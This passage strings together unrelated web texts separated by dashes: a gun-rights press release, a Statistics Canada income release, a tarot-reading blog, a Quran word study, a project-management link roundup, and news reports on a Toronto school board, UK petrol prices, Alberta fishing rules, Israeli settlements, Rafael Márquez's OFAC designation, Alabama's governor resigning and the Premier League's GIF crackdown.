of the vote Leave No Trace defeats Saltfield Recluse with 59.11% of the vote Duskhunter Bat defeats Krark-Clan Ogre with 75.55% of the vote Arsenal Thresher defeats Samite Blessing with 75.79% of the vote Chalice of the Void defeats Aesthir Glider with 93.82% of the vote Scuzzback Marauders defeats Redeem the Lost with 56.55% of the vote Jace, the Mind Sculptor defeats Tower of Calamities with 84.54% of the vote Full results to date can be seen here. -On behalf of its five-million members, the National Rifle Association’s Institute for Legislative Action (NRA-ILA) has announced its support for S. 498--The Constitutional Concealed Carry Reciprocity Act of 2015--which was introduced in the U.S. Senate by Sen. John Cornyn (R-Texas). The legislation would respect the rights of individuals who possess concealed carry permits from their home state or who are not prohibited from carrying concealed in their home state to exercise those rights in any other state that does not prohibit concealed carry. “The current patchwork of state and local laws is confusing for even the most conscientious and well-informed concealed carry permit holders. This confusion often leads to law-abiding gun owners running afoul of the law when they exercise their right to self-protection while traveling or temporarily living away from home,” said Chris W. Cox, executive director of the NRA-ILA. “Senator Cornyn’s legislation provides a much needed solution to a real problem for law-abiding gun owners.” his legislation wouldn’t override state laws governing the time, place or manner of carriage or establish national standards for concealed carry. Individual state gun laws would still be respected. Concealed carry reciprocity would simply ensure that states honor permits issued by other states, just as they do with driver’s licenses. Importantly, if under federal law a person is prohibited from carrying a firearm, they will continue to be prohibited from doing so under this bill. “Our fundamental right to self-defense does not stop at a state's borders. Law abiding citizens should be able to exercise this right while traveling across state lines,” continued Cox. “This is an extremely important issue to our members and we thank Senator Cornyn for leading the fight to protect our right to self-defense,” concluded Cox. A companion bill--H.R. 923--has been introduced in the U.S. House by Rep. Marlin Stutzman (R-Ind.). Please contact your U.S. Senators and ask them to cosponsor and support S. 498, and please contact your U.S. Representative and ask him or her to cosponsor and support H.R. 923. These critically important bills need your immediate action! Click the link or call (202) 225-3121. -View the most recent version. Information identified as archived is provided for reference, research or recordkeeping purposes. It is not subject to the Government of Canada Web Standards and has not been altered or updated since it was archived. Please " contact us " to request a format other than those available. This is the first release of data from the new Canadian Income Survey ( CIS ). It is based on annual income information for the 2012 reference year. Median after-tax income of Canadian families of two or more people was $71,700 in 2012. Four provinces, Ontario, Saskatchewan, Alberta and British Columbia, saw families of two or more people with higher median after-tax income than for Canada as a whole. Families in Alberta had the highest median ($92,300), followed by Saskatchewan ($77,300), Ontario ($73,700) and British Columbia ($72,200). Families in Alberta not only had the highest median after-tax income, they also had the highest median market income at $102,700. Since the tax system is directly tied to income earned and some transfers are tied to income, families in the province also had the highest median income tax paid ($15,600) and the lowest median government transfers ($2,400). This was also the case for unattached individuals, as those in Alberta had the highest median after-tax income ($36,500), market income ($37,000) and income tax paid ($4,300). They also had the lowest median government transfers ($400). Median after-tax income by family type Among senior families, those where the highest income earner was 65 or older, the median was $52,300, while for non-senior families it was $76,900. For two-parent families with children, median after-tax income was $84,600, while for lone-parent families headed by a woman, the median was $39,100. For the unattached, median after-tax income was $27,300 in 2012. Unattached seniors had a median income of $25,000, while non-seniors received $28,300. Components of after-tax income After-tax income is the total of market income and government transfers, less income tax. Market income consists of earnings, private pensions as well as income from investments and other sources such as support and disability payments. Median market income for families of two or more people was $71,900 in 2012. Among families with children, two-parent families had a median of $91,700, while female lone-parent families had a median of $25,000. Among the unattached, median market income was $9,300 for seniors and $29,100 for non-seniors. In 2012, 18.7 million Canadians aged 16 or over received $138.8 billion dollars in government transfers. One-quarter of recipients of government transfers were seniors and they received just over half of the total transfers paid. Almost all (94.1%) of this amount for seniors comes from Old Age Security, Guaranteed Income Supplement, Canada Pension Plan and Quebec Pension Plan programs. Transfers received varied widely by family type. For non-senior families, median government transfers amounted to $3,500 in 2012, while for senior families, the median was $26,000. For female lone-parent families, the median was $10,300, while for two-parent families, it was $4,300. The median amount of income tax, including both federal and provincial, paid by senior families was $3,200 in 2012, while the median paid by non-senior families was $11,600. Incidence of low income According to the after-tax low-income measure ( LIM-AT ), 4.7 million people, or 13.8% of the population, lived in low income in 2012. The LIM-AT is an internationally used measure of low income. The concept underlying the LIM-AT is that a household has low income if its income is less than half of the median income of all households. For children aged 17 and under, 16.3% lived in low income in 2012; however, their situations varied depending on their family structure. For children living in two-parent families, the incidence was 12.9%, while for those living in lone-parent families headed by a woman, the incidence was 44.5%. For seniors living in an economic family, the incidence was 6.2%, while for seniors living alone, the rate was 28.5%. Note to readers This is the first release of data from the new Canadian Income Survey ( CIS ). It is based on annual income information for the 2012 reference year. The CIS reports on many of the same statistics, such as individual and family income, as the Survey of Labour and Income Dynamics ( SLID ), which last reported on income for the 2011 reference year. The 2012 CIS uses a different methodology compared with that used in SLID . Comparisons of CIS and SLID reveal differences in estimates between 2011 and 2012 that are attributable to the two surveys having different methods, rather than a true change in the characteristics of the population. For more information on the differences between CIS and SLID , see the report "Note to Users of Data from the 2012 Canadian Income Survey." Statistics Canada will release results from the 2013 CIS in July 2015. This will be a first step towards the generation of a new income series using CIS data. As annual statistics on income are more informative when comparisons can be made over time, by December 2015, Statistics Canada will release a revised series of income statistics that will allow for the comparison of 2012 and 2013 data to earlier years. Until revised historical statistics are prepared and analyzed to ensure that they are as comparable as possible to the current CIS results, the results of the CIS should not be compared with those produced by the SLID or other previous income surveys. It is valid to compare estimates for different subpopulations within the CIS , such as estimates for different provinces or demographic groups. This release examines the income of economic families and unattached individuals, as well as low income in Canada. An economic family refers to a group of two or more persons who live in the same dwelling and are related to each other by blood, marriage, common-law, adoption or a foster relationship. This release largely analyses income on the basis of medians. The median is the level of income at which half the population had higher income and half had lower. This analysis reports on low income solely on the basis of the after-tax low income measure ( LIM-AT ). Previous releases had provided analysis based on the Low-income Cut-off ( LICO ). While many low-income measures, including the LICO , are well suited to the analysis of trends in low income, the LIM-AT is better suited to the analysis of low income in the CIS because the threshold level of income below which one is considered to have low income is itself derived from the households that responded to the survey. Other low income lines (the LICO and Employment and Social Development Canada's Market Basket Measure) are available in the article "Low Income Lines, 2012-2013," as part of the Income Research Paper Series (Catalogue number75F0002M), and low-income statistics based on each of the lines are available in CANSIM tables 206-0003 and 206-0004. The report "Note to Users of Data from the 2012 Canadian Income Survey," as part of Canadian Income Survey Products (Catalogue number75-513-X), is now available from the Browse by key resource module of our website under Publications. This report describes the Canadian Income Survey ( CIS ) methodology, as well as the main differences in survey objectives, methodology and questionnaires between CIS and the Survey of Labour and Income Dynamics. The article "Low Income Lines, 2012-2013," as part of the Income Research Paper Series (Catalogue number75F0002M), is also now available from the Browse by key resource module of our website under Publications. Custom tabulations are also available upon request. Contact information For more information, or to enquire about the concepts, methods or data quality of this release, contact us (toll-free 1-800-263-1136; 514-283-8300; infostats@statcan.gc.ca) or Media Relations (613-951-4636; statcan.mediahotline-ligneinfomedias.statcan@canada.ca). -Okay, my views on the tarot are complicated. Let me just say, so I don’t lose the skeptics right off the bat, I do not believe I am predicting the future. I will be happy to elaborate as I go. So I am going through a monumental day in my life today, I essentially just decided to make building my own company my number one priority and am potentially sacrificing my current job in the process. I have a few ground rules for divination, one is never do divination on something you are currently sure of. Inverted cards: since inverted cards usually carry a negative meaning I tend to see them as the thrill of the tarot reading. Some readers do not inverse the cards, but I need some potential for bad news. Though one of my ground rules is that even bad news is good news. The whole purpose is to inspire a sense of the heroic in the querent, so to give bad news is to find the silver lining. According to Joan Benning, an inverse card can mean a low energy in a process, or a reduction of energy. So if you have the Sun, its the Sun turned down for whatever reason. The interpretation of reversed cards demands a higher need for the reader to feel free to interpret. Many occultists would consider this being psychic, I reject psychic phenomena as a hypothesis that has been disproved. A good review of the scientific literature of psychic phenomena I recommend Paul Kurtz’s book “The Transcendental Temptation.” For my purposes the tarot awakens the imagination, that is their utility. I am listening to Beethoven’s 3rd, Eroica. A powerful symphony. My life is full of possibilities and I want to live it passionately. I am doing a Celtic Cross spread, and I am using the technique of choosing the querent. My Celtic Cross spread comes from Louis Stewart’s Life Forces, which is slightly different in its lay out than some Celtic Cross spreads. I am using the iconic Rider Tarot deck. I am interpreting my reading using guidance from Stewart, and Learning the Tarot by Joan Bunning. In the position of the first card I am laying The Magician with a king of spades from an ordinary playing card deck. This is to represent myself. I am choosing these cards deliberately to hold the position of one card. The rest of the cards will be determined randomly. Second Position (this card crosses the querent, and signifies obstacles and opposing forces in the matter at hand) : Seven of Swords: Separation from others. Man tiptoeing away from society, appears perhaps to be stealing the swords. Could this be a promethean theft? This card sometimes represents the “lone-wolf” style. There are other ways to interpret this card, but this is the way that I feel about the card. That there is a challenge facing me now. I believe this card does not signify the obstacles so much as how I am responding to them. There are synchronicities that I feel highlight this interpretation: being a lone wolf. Third Position (This card crowns the querent, and in my humble opinion represents the whispering of the True Will) : The Hanged Man: This card is about letting go. For me in this chapter of my life its about letting go to pursue my dream. I have been very restrained and conservative in my approach, it was definitely an uphill climb. My favorite business guru Gary Vaynerchuk often talks about the role of your DNA in business. He feels if you want to be truly successful, truly happy, and be able to maintain the energy levels one needs to do great things you have to play to your DNA. You have to focus on the things you really enjoy and come naturally to you. This makes sense because if you focus on these tasks you will be able to work much, much harder. This is counter intuitive for me and for the things that I want to be focused on, it can seem like I am dropping out of society and facing terrible debt. But I know its my DNA and that I can work my ass off if I embrace that. I think another aspect of reading this card that I want to embrace is giving up urgency. I know from my study of positive psychology that this kind of approach is healthier. Interestingly enough the Hanged Man is considered to be the opposite of the Mage which I chose to represent me. Though I would point out that in the esoteric and mystical approach one can gain more control and power by surrendering it. Fourth Position (The base of the matter, that from which the querent rises): Wheel of Fortune (inverted) : This is one of my only two inverted cards. The Wheel of Fortune seems to be one of those cards that you read the inverse as just being a toned down version of the right side up version. One of the meanings of this card is a sense of destiny. I think it is fair to say that my life has been building up with a deeply suppressed sense of destiny. I am a deterministic materialist. I don’t believe in any cosmic sense of destiny, and believe that randomness overall prevails. But I do believe that one must have a sense of the destiny they want to create, and that this is likened onto Gary Vaynerchuk’s concept of DNA or Crowley’s concept of the True Will. There is also an aspect of having a personal vision built into this card. Its inversion makes me laugh because I would definitely say that I have been indulging in these things at a toned down level building up to present events. Fifth Position (What is behind the querent, what is passing away) : 9 of Pentacles: Tee-hee. One of the meanings of this card is discipline. This definitely works for my current situation. I have been living at a repressive level of self discipline. I think it is an interesting line within the journey to see myself as going from the 9 of Pentacles to the Hanged Man. Sixth Position (What is before the querent, what is now coming into effect): The Emperor: Fathering. Well, if my lovely wife and I get pregnant in the next seasons I will laugh about this. But I prefer to imagine it as giving birth to Mindcore Studios, my company. The Emperor implies a lot of things I consider to be virtuous and positive, and especially considering its relationship in the Celtic Cross spread I would like to interpret this to mean that the 9 of Pentacles is getting perfected, especially in my DNA/True Will related goals. But it is important that the end game is to let go. To embrace the message of the Hanged Man. Seventh Position (the querent’s position): The Empress: Interestingly this is the other half of the female archetype coupled with the High Priestess, who concludes the story of this reading. So lets continue. Though I am an atheist, I am definitely inclined to feel my religious impulses for a feminine deity. The female energy is a good projection for the universe, the proverbial mother nature. Consider these aspects of the card; She can suggest material reward, but only with the understanding that riches go with a generous and open spirit. The Empress asks you to embrace the principle of life and enjoy its bountiful goodness. This is my wife. Eighth Position (querent’s environment and influence) : Strength : The environment and influence, gotta keep that in mind. This card is about being calm and having strong resolve. Its about patience. Its about being compassionate. Quiet determination. This is definitely how I should cope with my hostile work environment. The trick to this card is that its a gentle lady controlling the Lion. The Lion is not in control, it is the gentle woman. My imaginary goddess. Ninth Position (querent’s hopes and fears) : The Star : Regaining hope. Feeling inspired. -Just for the record, I have “keep hope” tattooed across my knuckles. This card is definitely useful for my hopes. This card also offers serenity. Finding your still center, as someone who is training in mindfulness meditation I can certainly appreciate this promise. Pretty much everything attributed to the Star can be useful for imagining my goals, and hopes. This card is the good life. Tenth Position (the outcome) : The High Priestess (Inverted) : So the endgame of this present cycle is the inverted High Priestess. The feminine principle that balances the masculine force of the magician (the card I chose to represent me). Stopping, unconscious, potential, mystery. These aspects are all attributed to the High Priestess, but we must remember her knob is turned down in the inverted position. Using this reading as a therapeutic story telling narrative, I chose to interpret my endgame as manifesting these aspects of the High Priestess: In readings, the High Priestess poses a challenge to you to go deeper – to look beyond the obvious, surface situation to what is hidden and obscure. She also asks you to recall the vastness of your potential and to remember the unlimited possibilities you hold within yourself. The High Priestess can represent a time of waiting and allowing. It is not always necessary to act to achieve your goals. Sometimes they can be realized through a stillness that gives desire a chance to flower within the fullness of time. But I must keep my ear to the ground lest I miss her presence. It immediately stands out to me that in spite of my random selection I have found a ton of Major Arcana in my reading. It is unusual since most of teh deck is minor arcana, I only have two minor arcana in this reading. One interpretation of this phenomena is that the current event is one charged with magic(k)al energy. A good skeptic dismisses this, but in my system one embraces this as a wonderful opportunity to charge your current adventure with deep meaning, and a powerful sense of adventure. It is not by accident that I listen to Beethoven’s Eroica, I mean to be heroic as a lifestyle. -You open up a traditional translation of the Quran, and you will find that it would usually translate characteristics of believers such as “Saliheen” (For ex. 2:62) and “Muttaqeen” (For ex. 2:2) as “Righteous people”. My problem with “righteous” is that it is too bland – too generic. Righteousness is a broad term. What aspect of righteousness, I would ask? Just as God has several attributes, each attribute revealing a specific characteristic; similarly there are also numerous attributes of a Muslim. These diverse attributes are provided in the Quran to act as a checklist for those who seek to live by the Quran as a moral code on life. For ex: Muttaqeen, Mohsineen, Musalleen, Mufliheen, Musliheen etc. For this post, I’d like to focus on the attribute of being a “Salih”. A concordance of the word Salih reveals that it means to reform/amend. This attribute is of such vital importance, that it is used 100+ times in the Quran! “Those who believed (aamanu) and do acts of reformation (amallan Salihan)” is a very repetitive phrase in the Quran. As I said, brushing it off as “righteous” robs itself off the defining characteristic that God wants us to develop and fails to do justice to these words, linguistically. As an exercise, try substituting righteousness in place of Sa-la-ha in the following verses. It just doesn’t fit: So We responded to him, and We gave to him Yahya, and amended (Aslahna) for him his wife. Indeed, they used to hasten to good deeds and supplicate Us in hope and fear, and they were to Us humbly submissive. Quran 21:90 If one sees gross injustice or bias on the part of a testator, and takes corrective action (Aslaha) to restore justice to the will, he commits no sin. GOD is Forgiver, Most Merciful. Quran 2:182 Therefore, Saliheen are the reformers who set things right. Reformation is a vital part of faith as faith should never be static. This is because anything that doesn’t grow is dead. If I have the same outlook on the world 10 years from now, I have failed to utilize the time to help me grow as a person. Muslims are encouraged to continually make reforms in their beliefs, whenever better information presents itself. That alone should make us more humble and compassionate towards each other, as the “I know it all” mindset gets suppressed. In a broader sense, Saliheen also strive for reform in their community. Musa and Ibrahim (Salutes and respect to them) are prime examples of this. We have come to the point where we believe Islam to be a set of rituals only. All the while, the core message of the Quran which is all about activism and reformation gets ignored and sidetracked. God likes reformers, not zealots. I leave you with one of my favorite verses: Surely, those who believe and do acts of reformation, the Almighty will shower them with love and affection. Quran 19:96 *Concordance of Salih as used in the Quran: http://corpus.quran.com/qurandictionary.jsp?q=SlH#(2:62:14) -New project management articles published on the web during the week of August 22 – 28. And this week’s video: the late designer Bill Moggridge explains interaction design, one of the concepts used to design application software for the first laptop computer, the GRiD Compass. John Ellenby, who founded GRiD Systems in 1979, passed away this week. I was proud to work in GRiD’s federal systems division back in the 1980’s. Must read! Elizabeth Harrin interviews Ellen Maynes, 2016 Global Peace Fellow and project management educator. Attention, Dos Equis: Ellen is The Most Interesting Woman in the World. Mike Cohn explains story points as an estimating tool, taking into account the amount of work to do, complexity, and uncertainty or risk. An excellent, thorough explanation! John Goodpasture shows how game theory can be applied to external threats. Remember: your SWOT analysis is just the beginning. Established Methods Cornelius Fichtner interviews Lindsay Scott on the Arras People Project Management Benchmark Report 2016. An interesting analysis by the recruiters – just 31 minutes, safe for work. Deanne Earle reflects on the Arras People Project Management Benchmark Report 2016. Why can’t organizations find the talent that they need? Bertrand Duperrin describes the pros and cons of the Fourth Industrial Revolution – end-to-end digitization and integration of partners into the value chain. Dmitriy Nizhebetskiy recommends five project management blogs that you should follow (including this one). Amber Lee Dennis presents a primer on Data Lakes. Shuba Kathikeyan shares two excellent infographics: the impact of poor software quality in business and a set of data center industry statistics and projections. Pramod Jaiswal presents an infographic on developing a practical IT disaster recovery plan. Agile Methods Stefan Wolpers curates his weekly Food for Thought list of recommended Agile posts, articles, and so on. Mike Griffiths describes some of the ways you can incorporate risk management into Agile methods. Ryan Ripley interviews Agile coach Don Gray in a wide-ranging conversation that covers Agile transformation, models, and sources of insights. Just 40 minutes, safe for work. Bart Gerardi debunks the notion that Agile is a way to eliminate a layer of management. Belle B. Cooper explains the idea behind a personal hackathon, and uses Brian Nelson’s recent experience as source material. Sam Sinha shares his tips for grooming the backlog. Applied Leadership Coert Visser recaps research into when positive feedback is more motivational, and when negative feedback moves us more. Michael Lopp has just published the third edition of Managing Humans, in paperback and Kindle editions. Bruce Harpham shares recommendations on twelve books for your reading table (or Kindle). Peter Landau recommends another sixteen leadership and management books. Fortunately, there’s still nothing good on TV. Working and the Workplace Garland Coulson wants us to plan our day to accommodate those “low energy” periods, by scheduling the right tasks. Harry Hall also recommends that we need to manage our energy, not just our time. Brendan Toner reviews the best new Getting Things Done features of Zendone 2.0. Did you know they now have both iOS and Android apps? Suzanne Lucas tells how five well-known companies help their employees work from home. Lisette Sutherland answers an interesting question: how does a virtual team celebrate together? Just 7 minutes, safe for work. Enjoy! Share this: Tumblr Pinterest Print -The new chair of Toronto's Catholic District School Board mentioned the board's "mental health strategy" Wednesday in response to a question about whether gay-straight alliance groups should be allowed in schools. Angela Kennedy, a 15-year trustee who was named chair Monday after running unopposed, made the comments in an interview with Matt Galloway on CBC radio's Metro Morning. She didn't use the words "gay-straight alliance" in her response. Here's how the section of the interview unfolded: Galloway: "You have said in past that you have opposed gay-straight alliances. Do you think they belong in Catholic schools?" Kennedy: "I think that we have supportive programs for students and I think students need to have these supportive clubs." Galloway: "Does that include a gay-straight alliance?" Kennedy: "We have different clubs in all of our schools and our secondary school students benefit from them. We have a mental health strategy." Galloway: "I think it's notable listeners would probably be able to figure out that you're not saying 'gay-straight alliance.' Do you think that gay-straight alliances belong in Catholic schools?" Kennedy: "Matt, we have supportive clubs in our secondary schools. I think our students are benefiting from them. I hear very good things about the clubs that are running in all of our schools." Kennedy's answers drew criticism from some Metro Morning listeners: TCDSB teachers trying to instil honesty in their students not helped by Board Chair Kennedy's extensive use of weasel words on @metromorning —@mark_dowling @metromorning Angela Kennedy: repeats same vague sentence over & over & expects us to pretend it's an "answer." Thinks people are stupid. —@kashicat An Ontario government anti-bullying bill, passed in 2012, removed the right for all schools in Ontario — including Catholic schools — to disallow students from forming gay-straight alliance groups. Kennedy was also asked about how the board would implement Ontario's new health and physical education curriculum. The curriculum, which includes some lessons on sex education, has been criticized by Kennedy and opposed by some parents. Galloway asked if the curriculum should be taught in Catholic schools. "Oh definitely … There are some very valuable learning that needs to happen around the curriculum," she said. Earlier this year, Kennedy had said that substantial portions of the curriculum "contradict Catholic teachings." When asked which portions of the curriculum did so, she declined to give specifics. "I'm going to wait to hear from the parents," she said. "I'm looking forward to the consultations. I'm looking forward to seeing what resources the Institute for Catholic Education is going to provide us so that we can deliver the curriculum with a Catholic lens," she said. The board is facing a $16-million deficit. Kennedy said she will make an effort to reduce that number without negatively affecting student learning. "It's about re-prioritizing," she said. "We want to make sure our students have the best learning environment." -Image copyright Getty Images There's a "very good chance" petrol prices could fall to £1 per litre, or even below, the RAC has said. The average petrol price is currently £1.07 per litre, but some supermarkets are already selling petrol at £1.03 per litre. A recent 2p drop in wholesale fuel prices could be passed on to consumers within a few weeks, the RAC said. According to RAC figures, the last time petrol fell below £1 was in the summer of 2009. A sharp fall in crude oil prices since last summer is behind falling prices at the pump. Brent Crude is now trading at around $44 per barrel. "We've seen the wholesale price of petrol and diesel drop by a couple of pence recently," RAC chief engineer David Bizley told the BBC. "There's typically about two weeks lag in the system. So there's a very good chance that within a few weeks people will be selling fuel at £1.01, and then the temptation to move that extra penny or so will be unavoidable," he said. Supermarkets use competitive petrol prices to bring people into their stores, he added. Since June 2014, oil prices have more than halved, falling from more than $100 per barrel. In the UK petrol prices are also affected by how the pound is trading against the dollar, and taxation. UK fuel duty has been frozen since 2011. Fuel price calculator: How much do you pay? -ES1Glenmore Reservoir 2018/2019 Fishing Regulations Disclaimer: Although we strive for accuracy in our content, the following rules and regulations should only be considered a reference. It is your responsibility to ensure you are in compliance with all current rules and regulations. We assume no responsibility or liability for any inaccurate, delayed or incomplete information. Official information can be found www.albertaregulations.ca or call Alberta Sustainable Resource Development information centre at (780)-944-0313. CLOSED November 1 -to- April 30 OPENED May 1 -to- October 31 BAIT Allowed (except bait fish) Fish Keep limit (size restrictions) Rules & Regulations are from Alberta Sustainable Resource Development Trout 5 - limit applies to All Trout species combined (except Bull Trout are Catch & Release ONLY) Brown Trout included in Trout limit & size restrictions listed above Rainbow Trout included in Trout limit & size restrictions listed above Mountain Whitefish 5 (all under 30cm must be released) Northern Pike 3 (no size restrictions) Yellow Perch 15 Advisories Fishing from the docks or ramps are not allowed. Related Waters The following waters are connected to this location. You should be familiar with them prior to entering the area, in the event that you are fishing bodies of water that have different rules than the current location. Elbow River - (from Hwy 22 downstream to Glenmore Reservoir & tributaries) Elbow River - (from Glenmore Reservoir downstream to Bow River) Location Map Use Google to find the best driving route by clicking here. NOTE: Some sections of rivers, streams and creeks have different rules for different parts of that water system. It is your responsibility to know where you are. AlbertaFishingGuide.com holds no responsibility or liability in any event of injury, death, loss of property or profits as a result of the use of this map. The information provided is intended for planning purposes only. Road conditions, safety and closure are not guaranteed. Use this information at your own risk. -“We have deep concerns about these highly contentious settlement construction announcements,” Josh Earnest, the White House spokesman, told reporters in Washington. “They will have detrimental impacts on the ground, enflame already heightened tension with the Palestinians and further isolate the Israelis internationally.” The European Union, in which legislative support for recognition of a Palestinian state has been growing — to Israel’s dismay — also criticized the construction bids. If carried out, the European Union’s foreign office said a statement, they would “further undermine the viability of the two-state solution; they are illegal in international law and constitute an obstacle to peace.” Ariel Rosenberg, a spokesman for the Israeli Housing Ministry, said the bids were not new but had been remarketed after they failed to attract contractors last year. “Failed tenders are automatically remarketed by professional staff in the Israel Land Authority,” he said, referring to the government agency responsible for land management. The current housing minister is Uri Ariel of the pro-settlement Jewish Home party. Most of the world considers the settlements in the Israeli-occupied West Bank to be a violation of international law. The Palestinians intend to establish a state on the lands that Israel seized from Jordan in the 1967 war. The Obama administration has described the settlements as “illegitimate.” American officials have said Israel's repeated announcements of construction bids played a destructive role in the breakdown of American-brokered peace negotiations with the Palestinians last year. -Rafael Márquez, the captain of the Mexico national team, a four-time World Cup veteran and one of the most celebrated Mexican soccer players in recent decades, is used to garnering headlines. Just not these kinds. Márquez has been designated by the U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) as a “front person” of alleged drug kingpin Raul Flores Hernandez’s trafficking enterprise. The designation freezes any of Márquez’s assets that are located in the U.S. or controlled by U.S. persons. This includes bank accounts, real estate holdings and other items of value. The designation also generally prohibits U.S. persons and businesses from engaging in commercial transactions with Márquez. The 38-year-old defender was one of 21 Mexican nationals and 42 Mexican entities—Club Deportivo Morumbi among them—implicated by the OFAC as assisting Flores Hernandez. According to the OFAC, Flores Hernandez “heavily relies” on a group of persons and businesses “to further his drug trafficking and money laundering activities and to maintain assets on his behalf.” Among them are Márquez and Mexican singer Julio Alvarez. “Both men,” the OFAC charges, “have longstanding relationships with Flores Hernandez, and have acted as front persons for him and his drug trafficking organization and held assets on their behalf.” Márquez and Alvarez are alleged to have cloaked Flores Hernandez’s drug-funded investments as legitimate business transactions. Márquez has dismissed the OFAC’s allegations as completely untrue. In a statement, Márquez says he “categorically” denies having “any kind of relation” with drug traffickers and that he “will try to clear all of this up.” OFAC’s designation of Márquez is authorized under the Foreign Narcotics Kingpin Designation Act, better known as the Kingpin Act. President Bill Clinton signed the Kingpin Act into law in 1999. The main goal of the Kingpin Act is to deter drug trafficking into the U.S. by threatening to take away the ill-gotten gains of traffickers and to disrupt their ability to conduct future business with Americans. To accomplish that goal, the Kingpin Act enhances the U.S. government’s capacity to freeze American assets of foreign narcotics traffickers as well as persons and businesses who substantially assist them. As an additional form of deterrence, the Kingpin Act subjects Americans to potential criminal prosecution and million dollar fines if they enter into transactions with implicated persons and entities, such as designated soccer clubs and casinos. The Kingpin Act has been praised as helping the U.S. more effectively impede the movement of drugs into the country and weakening cartels. The Act’s critics, however, bemoan that it fails to provide adequate safeguards for foreign parties who are not afforded the same constitutional safeguards as Americans. The OFAC raises its accusations as it continues a multi-year, multi-national investigation into Flores Hernandez. The investigation has included the participation of the Drug Enforcement Administration, Homeland Security Investigations, U.S. Customs and Border Protection and the Government of Mexico. Flores Hernandez, who allegedly has formed “strategic alliances” with Mexico's Sinaloa Cartel and the Cartel de Jalisco Nueva Generación, faces federal drug trafficking indictments in the District of Columbia and the Southern District of California. What’s next for Márquez: Cooperate or remain silent? While Márquez’s designation will prove disruptive if he has assets in the U.S. or if he conducts businesses with Americans, it should be stressed that Márquez has not been charged with a crime at this time. This is an important point for a number of reasons, the most significant of which is that the U.S. government will not attempt to extradite him. Márquez can continue to go about his life in Mexico. Endorsement considerations may, however, become a concern for Márquez. He reportedly has several endorsement deals, including one with Adidas. Any endorsements deal for Márquez with major companies contain a “morals clause.” Such a clause would enable the company to exit the contract on grounds that the athlete has encountered a serious legal issue or otherwise attracted negative publicity. Márquez’s representatives are poised to play a crucial role in navigating through morals clause issues. They would attempt to allay concerns by companies with which Márquez has endorsement deals that he will overcome this controversy. Márquez, who played for the New York Red Bulls from 2010-12, is also not necessarily barred from traveling in the U.S. However, his OFAC designation would complicate his ability to obtain a visa. Márquez’s attorneys may also worry that as soon as Márquez enters the U.S. he would be handed an indictment or a subpoena. Of similar concern for Márquez is the impact of his OFAC designation on his playing career with Club Atlas and his status as Mexico's captain for the 2018 FIFA World Cup. Márquez should be able to continue to play internationally since he has not been charged with a crime and there is no indication yet either FIFA or Atlas would seek to discipline him. Also, since the World Cup will be played outside of the U.S. (Russia), the OFAC designation shouldn't impact his availability. To the extent Márquez would like the OFAC to lift his designation and more broadly convince to the U.S. government to leave him alone, he would likely need to provide the OFAC with information of value. Indeed, one motivation for the government to pursue persons who allegedly facilitate drug traffickers is that they might be willing to provide critical intelligence to help the government take down traffickers and cartels. Facilitators’ willingness comes from self-preservation: doing so would get them out of trouble. Put another way, the OFAC likely does not “want” Márquez —it wants what Márquez knows about Flores Hernandez, who, as explained above, has been charged with federal crimes. So would Márquez talk with the U.S. government or with the Mexican government? Possibly, but accused facilitators of drug traffickers often fear retribution by drug kingpins and cartels—even if the accused’s connection to those criminals is tenuous and indirect. Often the more likely response is to simply remain silent. Michael McCann is SI’s legal analyst. He is also an attorney and the Associate Dean for Academic Affairs at the University of New Hampshire School of Law. -BIRMINGHAM, Ala. (Reuters) - Alabama Governor Robert Bentley resigned on Monday after pleading guilty to two misdemeanors related to campaign finance violations and linked to his relationship with a former adviser, ending a year-long scandal that has enveloped the state’s government. The guilty pleas were part of an agreement with prosecutors that called for him to step down, said Ellen Brooks, special prosecutor appointed by the state Attorney General Steve Marshall to investigate Bentley. “I have decided it is time for me to step down as Alabama governor,” said Bentley at a news conference in the state capital of Montgomery, adding that his service “was a calling that God placed on my life.” He said he would work with his replacement, Lieutenant Governor Kay Ivey, who was sworn in as governor about an hour after his resignation. Ivey, a Republican, becomes the second woman to serve as Alabama’s governor after Lurleen Wallace, wife of George Wallace, who served from January 1967 until her death in May 1968. “The Ivey administration will be open, it will be transparent, and it will be honest,” Ivey said during a short speech after her swearing in by the minister at her Montgomery Baptist church. “What we have done today is to put an end to this administration,” Brooks told reporters. “It states to all of us that no one is above the law, even the governor.” The Alabama Ethics Commission last week found Bentley probably violated ethics and campaign finance laws after it completed an investigation into allegations that he used public funds to conceal his relationship with Rebekah Mason, a senior adviser who later resigned. It accused Bentley of ordering law enforcement officers to track down recordings that suggested he had had an affair with Mason and accused him of retaliating against an official who discovered the relationship. Bentley has denied having a physical relationship with Mason, who is married, and had repeatedly vowed not to resign, saying he had done nothing illegal. His marriage of 50 years also ended as the scandal unfolded. In his statement on Monday, Bentley apologized for his actions, but did not mention a relationship with Mason. He was charged with misuse of campaign funds and failure to file campaign financial reports on a timely basis. Slideshow (10 Images) After his guilty pleas, an Alabama judge ordered Bentley to serve one year of unsupervised probation, make restitution and give up his retirement benefits from the state. He also agreed not to run for another political office, Brooks said. After Bentley agreed to the deal, the Alabama House Judiciary Committee suspended hearings which began on Monday that could have led to his impeachment. During the hearing, Bentley told several top aides “what happens in the governor’s office stays in the governor’s office,” Jack Sharman, the committee’s counsel, said regarding allegations regarding his relationship with Mason. -During the World Cup, FIFA (along with ESPN and Univision) started going after numerous social media users who were creating Vines and GIFs of the event. Now that the Premier League season has officially begun, the folks across the pond will be indulging in the same behavior. It was bound to happen. The English Premier League announced Friday that it plans to crack down. “You can understand that fans see something, they can capture it, they can share it, but ultimately it is against the law,” the league’s director of communications, Dan Johnson, told the BBC. “It’s a breach of copyright and we would discourage fans from doing it,” he added. “We’re developing technologies like GIF crawlers, Vine crawlers, working with Twitter to look to curtail this kind of activity. I know it sounds as if we’re killjoys but we have to protect our intellectual property.” Is it really “against the law”? Is it actually a “breach of copyright”? Here’s what we suspect Johnson is referring to, straight from the league’s 2014-15 Handbook: But why are these measures even necessary? Media conglomerate News Corp UK & Ireland, Ltd., which owns The Sun and The Times, bought the rights to online and mobile highlights back in January 2013. Nineteen months later, the league is deciding to put its foot down. Enter the Sun’s deputy head of sport, Dean Scoggins. “It’s important to underline that it’s illegal to do this, we’ve obviously signed a very big deal with the Premier League to be a rights holder and to show it, we’ve got legal teams talking with them about what we can do,” he said. If this crackdown is actually enforced, it could profoundly affect the way you watch not just the Premier League, but the four major sports in North America. Before we get to that, let’s tackle the biggest question here: How seriously will it actually be carried out? The “crawlers” Johnson mentioned are essentially programs that detect file formats like GIFs and Vine videos. When they find something that matches their content, they can automatically have the content removed from a site or social 